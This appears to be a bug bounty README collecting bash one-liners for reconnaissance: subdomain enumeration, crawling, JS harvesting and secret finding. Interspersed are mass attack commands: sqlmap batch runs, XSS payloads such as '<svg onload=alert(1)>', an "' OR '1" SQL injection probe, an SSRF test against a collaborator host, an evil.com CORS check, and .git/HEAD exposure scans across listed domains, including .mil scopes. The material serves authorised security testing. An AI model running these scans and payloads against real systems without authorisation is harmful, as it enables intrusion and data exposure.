text
stringlengths
9
334k
<h1 align="center"> 👑 What is KingOfBugBounty Project </h1> Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. 👑 ## Stats King ![OFJAAAH](https://github-readme-stats.vercel.app/api?username=KingOfBugbounty&show_icons=true&theme=dracula) [![DigitalOcean Referral Badge](https://web-platforms.sfo2.cdn.digitaloceanspaces.com/WWW/Badge%201.svg)](https://www.digitalocean.com/?refcode=703ff752fd6f&utm_campaign=Referral_Invite&utm_medium=Referral_Program&utm_source=badge) ## Join Us [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah) <div> <a href="https://www.linkedin.com/in/atjunior/"><img src="https://img.shields.io/badge/LinkedIn-0077B5?style=for-the-badge&logo=linkedin&logoColor=white"></img></a> <a href="https://www.youtube.com/c/OFJAAAH"><img src="https://img.shields.io/badge/YouTube-FF0000?style=for-the-badge&logo=youtube&logoColor=white"></a> </div> ## BugBuntu Download - [BugBuntu](https://sourceforge.net/projects/bugbuntu/) - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) ## Special thanks - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) - [@Stokfredrik](https://twitter.com/stokfredrik) - [@Jhaddix](https://twitter.com/Jhaddix) - [@pdiscoveryio](https://twitter.com/pdiscoveryio) - [@TomNomNom](https://twitter.com/TomNomNom) - [@jeff_foley](https://twitter.com/@jeff_foley) - [@NahamSec](https://twitter.com/NahamSec) - [@j3ssiejjj](https://twitter.com/j3ssiejjj) - [@zseano](https://twitter.com/zseano) - [@pry0cc](https://twitter.com/pry0cc) - [@wellpunk](https://twitter.com/wellpunk) ## Scripts that need to be installed To run the project, you will need to install the following programs: - [Amass](https://github.com/OWASP/Amass) - [Anew](https://github.com/tomnomnom/anew) - [Anti-burl](https://github.com/tomnomnom/hacks/tree/master/anti-burl) - [Assetfinder](https://github.com/tomnomnom/assetfinder) - [Axiom](https://github.com/pry0cc/axiom) - [CF-check](https://github.com/dwisiswant0/cf-check) - [Chaos](https://github.com/projectdiscovery/chaos-client) - [Cariddi](https://github.com/edoardottt/cariddi) - [Dalfox](https://github.com/hahwul/dalfox) - [DNSgen](https://github.com/ProjectAnte/dnsgen) - [Filter-resolved](https://github.com/tomnomnom/hacks/tree/master/filter-resolved) - [Findomain](https://github.com/Edu4rdSHL/findomain) - [Fuff](https://github.com/ffuf/ffuf) - [Gargs](https://github.com/brentp/gargs) - [Gau](https://github.com/lc/gau) - [Gf](https://github.com/tomnomnom/gf) - [Github-Search](https://github.com/gwen001/github-search) - [Gospider](https://github.com/jaeles-project/gospider) - [Gowitness](https://github.com/sensepost/gowitness) - [Hakrawler](https://github.com/hakluke/hakrawler) - [HakrevDNS](https://github.com/hakluke/hakrevdns) - [Haktldextract](https://github.com/hakluke/haktldextract) - [Haklistgen](https://github.com/hakluke/haklistgen) - [Html-tool](https://github.com/tomnomnom/hacks/tree/master/html-tool) - [Httpx](https://github.com/projectdiscovery/httpx) - [Jaeles](https://github.com/jaeles-project/jaeles) - [Jsubfinder](https://github.com/hiddengearz/jsubfinder) - [Kxss](https://github.com/Emoe/kxss) - [LinkFinder](https://github.com/GerbenJavado/LinkFinder) - [Metabigor](https://github.com/j3ssie/metabigor) - [MassDNS](https://github.com/blechschmidt/massdns) - [Naabu](https://github.com/projectdiscovery/naabu) - [Qsreplace](https://github.com/tomnomnom/qsreplace) - [Rush](https://github.com/shenwei356/rush) - [SecretFinder](https://github.com/m4ll0k/SecretFinder) - [Shodan](https://help.shodan.io/command-line-interface/0-installation) - [ShuffleDNS](https://github.com/projectdiscovery/shuffledns) - [SQLMap](https://github.com/sqlmapproject/sqlmap) - [Subfinder](https://github.com/projectdiscovery/subfinder) - [SubJS](https://github.com/lc/subjs) - [Unew](https://github.com/dwisiswant0/unew) - [WaybackURLs](https://github.com/tomnomnom/waybackurls) - [Wingman](https://xsswingman.com/#faq) - [Notify](https://github.com/projectdiscovery/notify) - [Goop](https://github.com/deletescape/goop) - [Tojson](https://github.com/tomnomnom/hacks/tree/master/tojson) - [GetJS](https://github.com/003random/getJS) - [X8](https://github.com/Sh1Yo/x8) - [Unfurl](https://github.com/tomnomnom/unfurl) - [XSStrike](https://github.com/s0md3v/XSStrike) - [Page-fetch](https://github.com/detectify/page-fetch) ### BBRF SCOPE DoD ```bash bbrf inscope add '*.af.mil' '*.osd.mil' '*.marines.mil' '*.pentagon.mil' '*.disa.mil' '*.health.mil' '*.dau.mil' '*.dtra.mil' '*.ng.mil' '*.dds.mil' '*.uscg.mil' '*.army.mil' '*.dcma.mil' '*.dla.mil' '*.dtic.mil' '*.yellowribbon.mil' '*.socom.mil' ``` ### .bashrc shortcut OFJAAAH ```bash reconjs(){ gau -subs $1 |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt ; cat js.txt | anti-burl | awk '{print $4}' | sort -u >> AliveJs.txt } cert(){ curl -s "[https://crt.sh/?q=%.$1&output=json](https://crt.sh/?q=%25.$1&output=json)" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew } anubis(){ curl -s "[https://jldc.me/anubis/subdomains/$1](https://jldc.me/anubis/subdomains/$1)" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew } ``` ### Oneliner Haklistgen - @hakluke ```bash subfinder -silent -d domain | anew subdomains.txt | httpx -silent | anew urls.txt | hakrawler | anew endpoints.txt | while read url; do curl $url --insecure | haklistgen | anew wordlist.txt; done cat subdomains.txt urls.txt endpoints.txt | haklistgen | anew wordlist.txt; ``` ### Running JavaScript on each page send to proxy. - [Explained command](https://bit.ly/3daIyFw) ```bash cat 200http | page-fetch --javascript '[...document.querySelectorAll("a")].map(n => n.href)' --proxy http://192.168.15.47:8080 ``` ### Running cariddi to Crawler - [Explained command](https://bit.ly/3hQPF8w) ```bash echo tesla.com | subfinder -silent | httpx -silent | cariddi -intensive ``` ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/3nnEhCj) ```bash xargs -a xss-urls.txt -I@ bash -c 'python3 /dir-to-xsstrike/xsstrike.py -u @ --fuzzer' ``` ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/324Sr1x) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @ ``` ### Using x8 to Hidden parameters discovery - [Explaining command](https://bit.ly/3w48wl8) ```bash assetfinder domain | httpx -silent | sed -s 's/$/\//' | xargs -I@ sh -c 'x8 -u @ -w params.txt -o enumerate' ``` ### Extract .js Subdomains - [Explaining command](https://bit.ly/339CN5p) ```bash echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | anew JS echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1 ``` ### goop to search .git files. - [Explaining command](https://bit.ly/3d0VcY5) ```bash xargs -a xss -P10 -I@ sh -c 'goop @' ``` ### Using chaos list to enumerate endpoint ```bash curl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains[]' | xargs -I@ sh -c 'python3 paramspider.py -d @' ``` ### Using Wingman to search XSS reflect / DOM XSS - [Explaining command](https://bit.ly/3m5ft1g) ```bash xargs -a domain -I@ sh -c 'wingman -u @ --crawl | notify' ``` ### Search ASN to metabigor and resolvers domain - [Explaining command](https://bit.ly/3bvghsY) ```bash echo 'dod' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]\+\.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew' ``` ### OneLiners ### Search .json gospider filter anti-burl - [Explaining command](https://bit.ly/3eoUhSb) ```bash gospider -s https://twitch.tv --js | grep -E "\.js(?:onp?)?$" | awk '{print $4}' | tr -d "[]" | anew | anti-burl ``` ### Search .json subdomain - [Explaining command](https://bit.ly/3kZydis) ```bash assetfinder http://tesla.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew ``` ### SonarDNS extract subdomains - [Explaining command](https://bit.ly/2NvXRyv) ```bash wget https://opendata.rapid7.com/sonar.fdns_v2/2021-02-26-1614298023-fdns_a.json.gz ; gunzip 2021-02-26-1614298023-fdns_a.json.gz ; cat 2021-02-26-1614298023-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar ``` ### Kxss to search param XSS - [Explaining command](https://bit.ly/3aaEDHL) ```bash echo http://testphp.vulnweb.com/ | waybackurls | kxss ``` ### Recon subdomains and gau to search vuls DalFox - [Explaining command](https://bit.ly/3aMXQOF) ```bash assetfinder testphp.vulnweb.com | gau | dalfox pipe ``` ### Recon subdomains and Screenshot to URL using gowitness - [Explaining command](https://bit.ly/3aKSSCb) ```bash assetfinder -subs-only army.mil | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @' ``` ### Extract urls to source code comments - [Explaining command](https://bit.ly/2MKkOxm) ```bash cat urls1 | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]' ``` ### Axiom recon "complete" - [Explaining command](https://bit.ly/2NIavul) ```bash findomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr "," " " | awk '{print $2}' | fff | grep 200 | sort -u ``` ### Domain subdomain extraction - [Explaining command](https://bit.ly/3c2t6eG) ```bash cat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain' ``` ### Search .js using - [Explaining command](https://bit.ly/362LyQF) ```bash assetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E "\.js(?:onp?)?$" | anew ``` ### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below. - [Explaining command](https://bit.ly/3sD0pLv) ```bash cat dominios | gau |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c "echo -e '\n[URL]: @\n'; python3 linkfinder.py -i @ -o cli" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS' ``` ### My recon automation simple. OFJAAAH.sh - [Explaining command](https://bit.ly/3nWHM22) ```bash chaos -d $1 -o chaos1 -silent ; assetfinder -subs-only $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 -silent ; cat assetfinder1 subfinder1 chaos1 >> hosts ; cat hosts | anew clearDOMAIN ; httpx -l hosts -silent -threads 100 | anew http200 ; rm -rf chaos1 assetfinder1 subfinder1 ``` ### Download all domains to bounty chaos - [Explaining command](https://bit.ly/38wPQ4o) ```bash curl https://chaos-data.projectdiscovery.io/index.json | jq -M '.[] | .URL | @sh' | xargs -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH' ``` ### Recon to search SSRF Test - [Explaining command](https://bit.ly/3shFFJ5) ```bash findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.burpcollaborator.net ``` ### ShuffleDNS to domains in file scan nuclei. - [Explaining command](https://bit.ly/2L3YVsc) ```bash xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1 ``` ### Search Asn Amass - [Explaining command](https://bit.ly/2EMooDB) Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me) ```bash amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500'' ``` ### SQLINJECTION Mass domain file - [Explaining command](https://bit.ly/354lYuf) ```bash httpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1' ``` ### Using chaos search js - [Explaining command](https://bit.ly/32vfRg7) Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com". ```bash chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#] ``` ### Search Subdomain using Gospider - [Explaining command](https://bit.ly/2QtG9do) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS ```bash gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### Using gospider to chaos - [Explaining command](https://bit.ly/2D4vW3W) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input. ```bash chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3' ``` ### Using recon.dev and gospider crawler subdomains - [Explaining command](https://bit.ly/32pPRDa) We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains. Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls. ```bash curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### PSQL - search subdomain using cert.sh - [Explaining command](https://bit.ly/32rMA6e) Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs ```bash psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew ``` ### Search subdomains using github and httpx - [Github-search](https://github.com/gwen001/github-search) Using python3 to search subdomains, httpx filter hosts by up status-code response (200) ```python ./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title ``` ### Search SQLINJECTION using qsreplace search syntax error - [Explained command](https://bit.ly/3hxFWS2) ```bash grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n" ``` ### Search subdomains using jldc - [Explained command](https://bit.ly/2YBlEjm) ```bash curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew ``` ### Search subdomains in assetfinder using hakrawler spider to search links in content responses - [Explained command](https://bit.ly/3hxRvZw) ```bash assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla" ``` ### Search subdomains in cert.sh - [Explained command](https://bit.ly/2QrvMXl) ```bash curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew ``` ### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD - [Explained command](https://bit.ly/3lhFcTH) ```bash curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ```bash curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Collect js files from hosts up by gospider - [Explained command](https://bit.ly/3aWIwyI) ```bash xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew' ``` ### Subdomain search Bufferover resolving domain to httpx - [Explained command](https://bit.ly/3lno9j0) ```bash curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew ``` ### Using gargs to gospider search with parallel proccess - [Gargs](https://github.com/brentp/gargs) - [Explained command](https://bit.ly/2EHj1FD) ```bash httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne ``` ### Injection xss using qsreplace to urls filter to gospider - [Explained command](https://bit.ly/3joryw9) ```bash gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>' ``` ### Extract URL's to apk - [Explained command](https://bit.ly/2QzXwJr) ```bash apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl" ``` ### Chaos to Gospider - [Explained command](https://bit.ly/3gFJbpB) ```bash chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ ``` ### Checking invalid certificate - [Real script](https://bit.ly/2DhAwMo) - [Script King](https://bit.ly/34Z0kIH) ```bash xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx ``` ### Using shodan & Nuclei - [Explained command](https://bit.ly/3jslKle) Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column. httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates. ```bash shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/ ``` ### Open Redirect test using gf. - [Explained command](https://bit.ly/3hL263x) echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates. ```bash echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` ### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles". - [Explained command](https://bit.ly/2QQfY0l) ```bash shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using Chaos to jaeles "How did I find a critical today?. - [Explained command](https://bit.ly/2YXiK8N) To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. ```bash chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using shodan to jaeles - [Explained command](https://bit.ly/2Dkmycu) ```bash domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts ``` ### Search to files using assetfinder and ffuf - [Explained command](https://bit.ly/2Go3Ba4) ```bash assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"' ``` ### HTTPX using new mode location and injection XSS using qsreplace. - [Explained command](https://bit.ly/2Go3Ba4) ```bash httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "' ``` ### Grap internal juicy paths and do requests to them. - [Explained command](https://bit.ly/357b1IY) ```bash export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length' ``` ### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url. - [Explained command](https://bit.ly/2R2gNn5) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Using to findomain to SQLINJECTION. - [Explained command](https://bit.ly/2ZeAhcF) ```bash findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1 ``` ### Jaeles scan to bugbounty targets. - [Explained command](https://bit.ly/3jXbTnU) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @ ``` ### JLDC domain search subdomain, using rush and jaeles. - [Explained command](https://bit.ly/3hfNV5k) ```bash curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}' ``` ### Chaos to search subdomains check cloudflareip scan port. - [Explained command](https://bit.ly/3hfNV5k) ```bash chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent ``` ### Search JS to domains file. - [Explained command](https://bit.ly/2Zs13yj) ```bash cat FILE TO TARGET | httpx -silent | subjs | anew ``` ### Search JS using assetfinder, rush and hakrawler. - [Explained command](https://bit.ly/3ioYuV0) ```bash assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal" ``` ### Search to CORS using assetfinder and rush - [Explained command](https://bit.ly/33qT71x) ```bash assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"' ``` ### Search to js using hakrawler and rush & unew - [Explained command](https://bit.ly/2Rqn9gn) ```bash cat hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx' ``` ### XARGS to dirsearch brute force. - [Explained command](https://bit.ly/32MZfCa) ```bash cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' ``` ### Assetfinder to run massdns. - [Explained command](https://bit.ly/32T5W5O) ```bash assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent ``` ### Extract path to js - [Explained command](https://bit.ly/3icrr5R) ```bash cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u ``` ### Find subdomains and Secrets with jsubfinder - [Explained command](https://bit.ly/3dvP6xq) ```bash cat subdomsains.txt | httpx --silent | jsubfinder -s ``` ### Search domains to Range-IPS. - [Explained command](https://bit.ly/3fa0eAO) ```bash cat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew ``` ### Search new's domains using dnsgen. - [Explained command](https://bit.ly/3kNTHNm) ```bash xargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain ``` ### List ips, domain extract, using amass + wordlist - [Explained command](https://bit.ly/2JpRsmS) ```bash amass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > ips-amass.txt ; curl -s "https://crt.sh/?q=%.navy.mil&output=json" | jq '.[].name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt ``` ### Search domains using amass and search vul to nuclei. - [Explained command](https://bit.ly/3gsbzNt) ```bash amass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 ``` ### Verify to cert using openssl. - [Explained command](https://bit.ly/37avq0C) ```bash sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{ N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <( openssl x509 -noout -text -in <( openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \ -connect hackerone.com:443 ) ) ``` ### Search domains using openssl to cert. - [Explained command](https://bit.ly/3m9AsOY) ```bash xargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\n/g' | httpx -silent -threads 1000 | anew ``` ### Search to Hackers. - [Censys](https://censys.io) - [Spyce](https://spyce.com) - [Shodan](https://shodan.io) - [Viz Grey](https://viz.greynoise.io) - [Zoomeye](https://zoomeye.org) - [Onyphe](https://onyphe.io) - [Wigle](https://wigle.net) - [Intelx](https://intelx.io) - [Fofa](https://fofa.so) - [Hunter](https://hunter.io) - [Zorexeye](https://zorexeye.com) - [Pulsedive](https://pulsedive.com) - [Netograph](https://netograph.io) - [Vigilante](https://vigilante.pw) - [Pipl](https://pipl.com) - [Abuse](https://abuse.ch) - [Cert-sh](https://cert.sh) - [Maltiverse](https://maltiverse.com/search) - [Insecam](https://insecam.org) - [Anubis](https://https://jldc.me/anubis/subdomains/att.com) - [Dns Dumpster](https://dnsdumpster.com) - [PhoneBook](https://phonebook.cz) - [Inquest](https://labs.inquest.net) - [Scylla](https://scylla.sh) # Project [![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org) [![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/) [![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/) [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty) <a href="https://www.buymeacoffee.com/OFJAAAH" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) 